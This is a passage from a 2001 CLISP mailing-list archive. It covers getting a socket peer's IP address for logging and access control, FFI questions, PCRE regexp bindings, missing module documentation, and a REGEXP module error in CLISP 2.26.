2001 14:20:36 -0400 (EDT) X-Envelope-To: To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer References: <200105230534.f4N5YdP14444@isis.compsvcs.com> <15115.64432.440488.815576@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15115.64432.440488.815576@isis.compsvcs.com> Date: 23 May 2001 14:17:38 -0400 Message-ID: Lines: 26 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15115.64432.440488.815576@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] lisp:socket-stream-peer" > * Sent on Wed, 23 May 2001 11:04:32 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > > ext:socket-stream-peer is not a structure accessor. > Right. I want the structure accessor. Is there one? > If not, could it be added? > > I want to know the IP address of the peer. > > So please tell me how I can get the IP address of the peer. > Right now I have to use socket-stream-peer to get a string and > then parse that to reconstruct the address. what do you need this for? We consider the IP address to be a low level detail which should not be exposed. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Those who can't write, write manuals. From don-sourceforge@isis.compsvcs.com Wed May 23 11:46:15 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152deB-00049A-00 for ; Wed, 23 May 2001 11:46:15 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f4NIlmf15043; Wed, 23 May 2001 11:47:48 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15116.1491.755820.149662@isis.compsvcs.com> Date: Wed, 23 May 2001 11:47:47 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer In-Reply-To: References: <200105230534.f4N5YdP14444@isis.compsvcs.com> <15115.64432.440488.815576@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > > So please tell me how I can get the IP address of the peer. > > Right now I have to use socket-stream-peer to get a string and > > then parse that to reconstruct the address. > > what do you need this for? > > We consider the IP address to be a low level detail which should not > be exposed. Well, I admit one thing I use it for is to print it in a log. But I don't need the host name for that, just the address or, if you like, the address string. The other thing I use it for is to compare it to other addresses. Again, if I just want to see whether two are the same I guess the address string would do. In fact I do more than that. I do things like testing whether two have the same first byte. This is done for access control reasons. For instance, I want to not accept connections (well, ok I accept, then test, then maybe close them) from certain places or subnets, I don't want to have more than a certain number of connections at a time open from certain places or subnets, etc. Is that a good enough explanation? I know that when you want to write general purpose servers there are lots of other things that are not visible in clisp that you really want to control. Perhaps a lower level interface would be the right way to go here. For instance, if I could get from a socket stream some c object that I could then pass to various functions to control low level things that would help. I'd also like to be able to handle more than tcp packets one of these days. But if you just give me the peer IP address accessor I promise not to ask for any of that stuff for at least another week. Deal? From glauber.ribeiro@experian.com Wed May 23 12:13:45 2001 Received: from mailhub1.experian.com ([167.107.229.201]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 152e4m-0000Mp-00 for ; Wed, 23 May 2001 12:13:44 -0700 Received: from expexch1.ora.experian.com (exchange.experian.com [167.107.228.135]) by mailhub1.experian.com (8.9.3/8.9.3) with ESMTP id MAA26604 for ; Wed, 23 May 2001 12:12:42 -0700 (PDT) Received: by expexch.ora.experian.com with Internet Mail Service (5.5.2653.19) id ; Wed, 23 May 2001 12:14:27 -0700 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] lisp:socket-stream-peer Date: Wed, 23 May 2001 12:13:21 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer Reply-To: sds@gnu.org From: Sam Steingold Date: 23 May 2001 14:17:38 -0400 ]> * In message <15115.64432.440488.815576@isis.compsvcs.com> ]> * On the subject of "Re: [clisp-list] lisp:socket-stream-peer" ]> * Sent on Wed, 23 May 2001 11:04:32 -0700 (PDT) ]> * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: ]> ]> > ext:socket-stream-peer is not a structure accessor. ]> Right. I want the structure accessor. Is there one? ]> If not, could it be added? ]> ]> I want to know the IP address of the peer. ]> ]> So please tell me how I can get the IP address of the peer. ]> Right now I have to use socket-stream-peer to get a string and ]> then parse that to reconstruct the address. ] ]what do you need this for? ] ]We consider the IP address to be a low level detail which should not ]be exposed. I can think of 2 reasons: (1) to write it in a log (just want the ip address, can resolve it to a name later if needed). (2) to check that the connection is coming from an authorized place. Compare the IP address to a list of acceptable users of the service, deny if it isn't there. glauber From sds@gnu.org Thu May 24 11:53:22 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1530Ec-0001L8-00 for ; Thu, 24 May 2001 11:53:22 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA08784; Thu, 24 May 2001 14:53:14 -0400 (EDT) X-Envelope-To: To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer References: <200105230534.f4N5YdP14444@isis.compsvcs.com> <15115.64432.440488.815576@isis.compsvcs.com> <15116.1491.755820.149662@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15116.1491.755820.149662@isis.compsvcs.com> User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 24 May 2001 14:50:39 -0400 Message-ID: Lines: 19 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15116.1491.755820.149662@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] lisp:socket-stream-peer" > * Sent on Wed, 23 May 2001 11:47:47 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: get the latest CVS - ext:socket-stream-peer now takes a second optional argument "fast-p" which turns off DNS lookup. > For instance, if I could get from a socket stream some c object that I > could then pass to various functions to control low level things that > would help. that's what FFI is for. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on NY survival guide: when crossing a street, mind cars, not streetlights. From don-sourceforge@isis.compsvcs.com Thu May 24 12:13:57 2001 Received: from cine-dyrad.cinenet.net ([198.147.117.71] helo=isis.compsvcs.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1530YX-00050P-00 for ; Thu, 24 May 2001 12:13:57 -0700 Received: (from donc@localhost) by isis.compsvcs.com (8.11.1/8.11.1) id f4OJFRN15816; Thu, 24 May 2001 12:15:27 -0700 (PDT) X-Authentication-Warning: isis.compsvcs.com: donc set sender to don-sourceforge using -f X-Authentication-Warning: isis.compsvcs.com: Processed from queue /var/spool/mqueue X-Authentication-Warning: isis.compsvcs.com: Processed by donc with -C /etc/mail/sendmail.cf2 From: don-sourceforge@isis.compsvcs.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15117.24012.11684.66683@isis.compsvcs.com> Date: Thu, 24 May 2001 12:15:23 -0700 (PDT) To: sds@gnu.org Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer In-Reply-To: References: <200105230534.f4N5YdP14444@isis.compsvcs.com> <15115.64432.440488.815576@isis.compsvcs.com> <15116.1491.755820.149662@isis.compsvcs.com> X-Mailer: VM 6.72 under 21.1 (patch 12) "Channel Islands" XEmacs Lucid Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Sam Steingold writes: > get the latest CVS - ext:socket-stream-peer now takes a second optional > argument "fast-p" which turns off DNS lookup. Thanks, I look forward to it. If fast-p is true it returns what, "1.2.3.4" ? > > For instance, if I could get from a socket stream some c object that I > > could then pass to various functions to control low level things that > > would help. > that's what FFI is for. Yes I understand. And I suppose that FFI already can give me the object I need from the stream, but I don't know how to do it. Am I supposed to? Am I supposed to be able to find out by reading the source or is this documented or is there documentation to tell me how to find out or what? No rush on this question, of course. As I recall, I'm not supposed to need any of that stuff for at least a week. From sds@gnu.org Thu May 24 13:07:52 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1531Oi-00039d-00 for ; Thu, 24 May 2001 13:07:52 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id QAA23835; Thu, 24 May 2001 16:07:46 -0400 (EDT) X-Envelope-To: To: don-sourceforge@isis.compsvcs.com (Don Cohen) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] lisp:socket-stream-peer References: <200105230534.f4N5YdP14444@isis.compsvcs.com> <15115.64432.440488.815576@isis.compsvcs.com> <15116.1491.755820.149662@isis.compsvcs.com> <15117.24012.11684.66683@isis.compsvcs.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15117.24012.11684.66683@isis.compsvcs.com> Date: 24 May 2001 16:05:16 -0400 Message-ID: Lines: 38 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15117.24012.11684.66683@isis.compsvcs.com> > * On the subject of "Re: [clisp-list] lisp:socket-stream-peer" > * Sent on Thu, 24 May 2001 12:15:23 -0700 (PDT) > * Honorable don-sourceforge@isis.compsvcs.com (Don Cohen) writes: > > If fast-p is true it returns what, "1.2.3.4" ? yes. if you build --with-export-syscalls, you can use `resolve-host-ipaddr' later. > > > For instance, if I could get from a socket stream some c object that I > > > could then pass to various functions to control low level things that > > > would help. > > that's what FFI is for. > Yes I understand. And I suppose that FFI already can give me the > object I need from the stream, but I don't know how to do it. > Am I supposed to? Am I supposed to be able to find out by reading > the source or is this documented or is there documentation to tell > me how to find out or what? can't help you here. if you need the low-level stuff, you write it in C, add interface to CLISP &c. alternatively, you can try to convince me that we should export it in CLISP :-) If you are on Linux, you can build --with-module=bindings/linuxlibc6 and you would probably have what you want. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Apathy Club meeting this Friday. If you want to come, you're not invited. From miles@www.invert.com Fri May 25 09:29:24 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153KSq-0001Oo-00 for ; Fri, 25 May 2001 09:29:24 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f4PGTNG41371 for clisp-list@lists.sourceforge.net; Fri, 25 May 2001 09:29:23 -0700 (PDT) (envelope-from miles) Date: Fri, 25 May 2001 09:29:23 -0700 From: Miles Egan To: clisp-list@lists.sourceforge.net Message-ID: <20010525092923.A41293@caddr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] pcre & clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's faster and more full-featured than the gnu regexp stuff. -- miles From rurban@xarch.tu-graz.ac.at Fri May 25 10:09:05 2001 Received: from [129.27.43.9] (helo=xarch.tu-graz.ac.at) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153L5F-000676-00 for ; Fri, 25 May 2001 10:09:05 -0700 Received: from localhost (rurban@localhost) by xarch.tu-graz.ac.at (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with ESMTP id TAA25820; Fri, 25 May 2001 19:08:59 +0200 Date: Fri, 25 May 2001 19:08:59 +0200 (CEST) From: Reini Urban To: Miles Egan cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pcre & clisp In-Reply-To: <20010525092923.A41293@caddr.com> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, 25 May 2001, Miles Egan wrote: > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's > faster and more full-featured than the gnu regexp stuff. sure. do you have a binding ready? From miles@www.invert.com Fri May 25 10:13:09 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153L9A-0006mj-00 for ; Fri, 25 May 2001 10:13:08 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f4PHD4I41911; Fri, 25 May 2001 10:13:04 -0700 (PDT) (envelope-from miles) Date: Fri, 25 May 2001 10:13:04 -0700 From: Miles Egan To: Reini Urban Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] pcre & clisp Message-ID: <20010525101304.C41293@caddr.com> References: <20010525092923.A41293@caddr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from rurban@xarch.tu-graz.ac.at on Fri, May 25, 2001 at 07:08:59PM +0200 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, May 25, 2001 at 07:08:59PM +0200, Reini Urban wrote: > On Fri, 25 May 2001, Miles Egan wrote: > > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's > > faster and more full-featured than the gnu regexp stuff. > > sure. do you have a binding ready? Nope, but I was thinking of starting on one. I'm trying to learn the FFI and pcre doesn't seem too hairy. I'll take a whack at it. -- miles From glauber.ribeiro@experian.com Fri May 25 12:31:58 2001 Received: from mailhub1.experian.com ([167.107.229.201]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153NJW-0003SY-00 for ; Fri, 25 May 2001 12:31:58 -0700 Received: from expexch1.ora.experian.com (exchange.experian.com [167.107.228.135]) by mailhub1.experian.com (8.9.3/8.9.3) with ESMTP id MAA09039 for ; Fri, 25 May 2001 12:30:55 -0700 (PDT) Received: by expexch.ora.experian.com with Internet Mail Service (5.5.2653.19) id ; Fri, 25 May 2001 12:32:47 -0700 Message-ID: From: "Ribeiro, Glauber" To: "'clisp-list@lists.sourceforge.net'" Date: Fri, 25 May 2001 12:32:45 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Subject: [clisp-list] Regexp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > Message: 3 > Date: Fri, 25 May 2001 09:29:23 -0700 > From: Miles Egan > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] pcre & clisp > > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's > faster and more full-featured than the gnu regexp stuff. Just a reminder, there's a nice Perl-compatible regexp package in http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme, mechanically ported to Common Lisp, no C involved). I've use it with CLISP. It's fast enough for what i've needed so far, but i haven't made any speed comparisons. It implements all of the Perl regexp oddities. g From miles@www.invert.com Fri May 25 13:01:30 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153Nm6-0005fV-00 for ; Fri, 25 May 2001 13:01:30 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f4PK1Op43868; Fri, 25 May 2001 13:01:24 -0700 (PDT) (envelope-from miles) Date: Fri, 25 May 2001 13:01:24 -0700 From: Miles Egan To: "Ribeiro, Glauber" Cc: "'clisp-list@lists.sourceforge.net'" Subject: Re: [clisp-list] Regexp Message-ID: <20010525130124.A43833@caddr.com> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from glauber.ribeiro@experian.com on Fri, May 25, 2001 at 12:32:45PM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, May 25, 2001 at 12:32:45PM -0700, Ribeiro, Glauber wrote: > > Message: 3 > > Date: Fri, 25 May 2001 09:29:23 -0700 > > From: Miles Egan > > To: clisp-list@lists.sourceforge.net > > Subject: [clisp-list] pcre & clisp > > > > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's > > faster and more full-featured than the gnu regexp stuff. > > > Just a reminder, there's a nice Perl-compatible regexp package in > http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme, > mechanically ported to Common Lisp, no C involved). I've use it with CLISP. > It's fast enough for what i've needed so far, but i haven't made any speed > comparisons. It implements all of the Perl regexp oddities. I wasn't aware of this. Pretty cool. I suspect the c version would be quite a bit faster, especially in clisp, but it probably wouldn't matter in a lot of cases. I think I'll still take a stab at pcre bindings, if only for my own education. -- miles From marcoxa@cs.nyu.edu Fri May 25 14:32:04 2001 Received: from octagon.mrl.nyu.edu ([128.122.47.83]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153PBk-0005kn-00 for ; Fri, 25 May 2001 14:32:04 -0700 Received: (from marcoxa@localhost) by octagon.mrl.nyu.edu (8.9.3/8.9.3) id RAA02167; Fri, 25 May 2001 17:29:57 -0400 Date: Fri, 25 May 2001 17:29:57 -0400 Message-Id: <200105252129.RAA02167@octagon.mrl.nyu.edu> X-Authentication-Warning: octagon.mrl.nyu.edu: marcoxa set sender to marcoxa@cs.nyu.edu using -f From: Marco Antoniotti To: glauber.ribeiro@experian.com CC: clisp-list@lists.sourceforge.net In-reply-to: (glauber.ribeiro@experian.com) Subject: Re: [clisp-list] Regexp References: Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > From: "Ribeiro, Glauber" > Content-Type: text/plain; > charset="iso-8859-1" > Sender: clisp-list-admin@lists.sourceforge.net > X-BeenThere: clisp-list@lists.sourceforge.net > X-Mailman-Version: 2.0.5 > Precedence: bulk > List-Help: > List-Post: > List-Subscribe: , > > List-Id: CLISP user discussion > List-Unsubscribe: , > > List-Archive: > Date: Fri, 25 May 2001 12:32:45 -0700 > Content-Length: 818 > > > Message: 3 > > Date: Fri, 25 May 2001 09:29:23 -0700 > > From: Miles Egan > > To: clisp-list@lists.sourceforge.net > > Subject: [clisp-list] pcre & clisp > > > > Would anyone use CLISP -> pcre (perl-compatibility regexp library) ? It's > > faster and more full-featured than the gnu regexp stuff. > > > Just a reminder, there's a nice Perl-compatible regexp package in > http://www.cs.rice.edu/~dorai/pregexp/pregexp.html (written in Scheme, > mechanically ported to Common Lisp, no C involved). I've use it with CLISP. > It's fast enough for what i've needed so far, but i haven't made any speed > comparisons. It implements all of the Perl regexp oddities. Yep. But the Scheme to CL translator is really hairy and obviously writte by somebody who doas not know much about CL. Cheers -- Marco Antoniotti ======================================================== NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 719 Broadway 12th Floor fax +1 - 212 - 995 4122 New York, NY 10003, USA http://bioinformatics.cat.nyu.edu "Hello New York! We'll do what we can!" Bill Murray in `Ghostbusters'. From miles@www.invert.com Fri May 25 15:17:38 2001 Received: from invert.com ([209.164.21.15] helo=www.invert.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153Ptq-0001od-00 for ; Fri, 25 May 2001 15:17:38 -0700 Received: (from miles@localhost) by www.invert.com (8.10.1/8.10.1AA) id f4PMHbX45741 for clisp-list@lists.sourceforge.net; Fri, 25 May 2001 15:17:37 -0700 (PDT) (envelope-from miles) Date: Fri, 25 May 2001 15:17:37 -0700 From: Miles Egan To: clisp-list@lists.sourceforge.net Message-ID: <20010525151737.B45688@caddr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] module.txt missing Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: The makefile generated in the 'src' directory includes this in the comments: """ # The general layout of add-on modules is described in ../doc/module.txt. # The requirements made there (i.e. the existence of a "link.sh" file # which defines certain variables) make sure that such an add-on module # can be distributed with CLISP. """ But there doesn't seem to be a ../doc/module.txt. Has it been folded into the implementation notes? -- miles From peter.wood@worldonline.dk Sat May 26 00:33:47 2001 Received: from pasmtp.tele.dk ([193.162.159.95]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 153Ya2-0005Qz-00 for ; Sat, 26 May 2001 00:33:46 -0700 Received: from localhost.localdomain (cpe.atm0-0-0-120180.boanxx1.customer.tele.dk [62.242.7.233]) by pasmtp.tele.dk (Postfix) with ESMTP id 8D279B4C9 for ; Sat, 26 May 2001 09:33:42 +0200 (CEST) Received: (from prw@localhost) by localhost.localdomain (8.11.1/8.11.1) id f4Q7Tti00188 for clisp-list@lists.sourceforge.net; Sat, 26 May 2001 09:29:55 +0200 Date: Sat, 26 May 2001 09:29:55 +0200 From: Peter Wood To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] module.txt missing Message-ID: <20010526092955.A183@localhost.localdomain> References: <20010525151737.B45688@caddr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010525151737.B45688@caddr.com>; from miles@caddr.com on Fri, May 25, 2001 at 03:17:37PM -0700 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: On Fri, May 25, 2001 at 03:17:37PM -0700, Miles Egan wrote: > The makefile generated in the 'src' directory includes this in the comments: > > """ > # The general layout of add-on modules is described in ../doc/module.txt. > # The requirements made there (i.e. the existence of a "link.sh" file > # which defines certain variables) make sure that such an add-on module > # can be distributed with CLISP. > """ > > But there doesn't seem to be a ../doc/module.txt. Has it been folded into the Hi All the info needed for writing add-on modules is in impnotes.html under the extensions section. You can also look at "extend.txt" in doc, but impnotes tells you everything you need to know. Regards, Peter From a.bignoli@computer.org Sun May 27 07:24:12 2001 Received: from [212.110.54.10] (helo=shark.fauser.it) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1541Sl-0006aZ-00 for ; Sun, 27 May 2001 07:24:12 -0700 Received: from pool2-ip14.fauser.it (root@pool2-ip14.fauser.it [212.110.54.109]) by shark.fauser.it (8.9.1a/8.9.1) with ESMTP id QAA27643 for ; Sun, 27 May 2001 16:20:46 +0200 (MET DST) Received: (from aurelio@localhost) by ghimel.fauser.it (8.10.2/8.10.2) id f4REN0K01261; Sun, 27 May 2001 16:23:00 +0200 From: Aurelio Bignoli MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15121.3524.491290.558297@ghimel.fauser.it> Date: Sun, 27 May 2001 16:23:00 +0200 To: clisp-list@lists.sourceforge.net X-Mailer: VM 6.92 under Emacs 20.7.2 Subject: [clisp-list] REGEXP problem with CLISP 2.26 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: I just compiled CLISP 2.26 with the REGEXP module and I have the following problem with it: [1]> (lisp-implementation-version) "2.26 (released 2001-05-23) (built on dalet.fauser.it [192.168.1.2])" [2]> (regexp:match "abcd" "abcdefgh") *** - FUNCALL: the function REGEXP::FINALIZE is undefined 1. Break [3]> The error seems to be in the function REGEXP-COMPILE in regexp.lisp: FINALIZE is now in the EXT package. Ciao, Aurelio From sds@gnu.org Sun May 27 08:18:23 2001 Received: from out1.prserv.net ([32.97.166.31] helo=prserv.net) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.22 #1 (Debian)) id 1542JD-0005Pj-00 for ; Sun, 27 May 2001 08:18:23 -0700 Received: from xchange.com (slip-32-100-244-223.ma.us.prserv.net[32.100.244.223]) by prserv.net (out1) with ESMTP id <2001052715181720101n3cvce>; Sun, 27 May 2001 15:18:19 +0000 To: Aurelio Bignoli Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] REGEXP problem with CLISP 2.26 References: <15121.3524.491290.558297@ghimel.fauser.it> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <15121.3524.491290.558297@ghimel.fauser.it> Date: 27 May 2001 11:18:02 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <15121.3524.491290.558297@ghimel.fauser.it> > * On the subject of "[clisp-list] REGEXP problem with CLISP 2.26" > * Sent on Sun, 27 May 2001 16:23:00 +0200 > * Honorable Aurelio Bignoli writes: > > I just compiled CLISP 2.26 with the REGEXP module and I have the > following problem with it: > > *** - FUNCALL: the function REGEXP::FINALIZE is undefined > 1. Break [3]> 